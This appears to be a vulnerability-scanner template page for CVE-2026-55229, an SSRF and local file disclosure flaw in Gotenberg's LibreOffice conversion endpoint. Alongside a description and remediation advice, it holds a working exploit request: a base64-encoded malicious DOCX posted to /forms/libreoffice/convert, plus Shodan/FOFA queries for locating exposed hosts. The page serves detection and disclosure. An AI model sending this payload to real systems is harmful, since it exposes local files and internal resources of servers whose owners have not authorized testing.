CVE-2026-55229: Gotenberg < 8.34.0 - Local File Disclosure

2026-09-01 Unknown PoC Public

Description

Gotenberg before 8.34.0 allows SSRF and limited local file disclosure via its /forms/libreoffice/convert endpoint. When LibreOffice is used to convert user-uploaded DOCX files, external relationships within the document (such as a:blip r:link TargetMode="External") can instruct LibreOffice to fetch local resources (file://) or remote resources (http/https), which are then included as images in the generated PDF. This can disclose the contents of local files LibreOffice can open as images, or allow outbound requests to attacker-controlled endpoints. Version 8.34.0 disables resolution of external resources during document conversion to mitigate the vulnerability.

PoC

id: CVE-2026-55229

info:
  name: Gotenberg < 8.34.0 - Local File Disclosure
  author: str4k3r
  severity: high
  description: |
    Gotenberg before 8.34.0 allows SSRF and limited local file disclosure via its /forms/libreoffice/convert endpoint. When LibreOffice is used to convert user-uploaded DOCX files, external relationships within the document (such as a:blip r:link TargetMode="External") can instruct LibreOffice to fetch local resources (file://) or remote resources (http/https), which are then included as images in the generated PDF. This can disclose the contents of local files LibreOffice can open as images, or allow outbound requests to attacker-controlled endpoints. Version 8.34.0 disables resolution of external resources during document conversion to mitigate the vulnerability.
  impact: |
    Attackers can perform blind SSRF and limited local file disclosure, potentially accessing internal resources or sensitive files.
  remediation: |
    Update to version 8.34.0 or later.
  reference:
    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9
    - https://github.com/gotenberg/gotenberg/releases/tag/v8.34.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55229
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-55229
    epss-score: 0.01514
    epss-percentile: 0.73208
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    product: gotenberg
    vendor: gotenberg
    shodan-query: "Gotenberg"
    fofa-query: "Gotenberg"
  tags: cve,cve2026,gotenberg,ssrf,lfi

http:
  - raw:
      - |
        POST /forms/libreoffice/convert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=testforgeboundary

        --testforgeboundary
        Content-Disposition: form-data; name="files"; filename="poc.docx"
        Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

        {{base64_decode("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")}}
        --testforgeboundary--

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_disposition, "attachment; filename=")'
          - 'contains(content_type, "application/pdf")'
          - 'contains(body, "/Subtype/Image")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022023006f42126eef6df5821fbf2ee777bbdffa8d0a37819713219f5ad39e269b42022100ef3f962de953094143adb7f300252711b5d1b9c40c39fddd1c2080a3a336e3eb:922c64590222798bb761d5b6d8e72950

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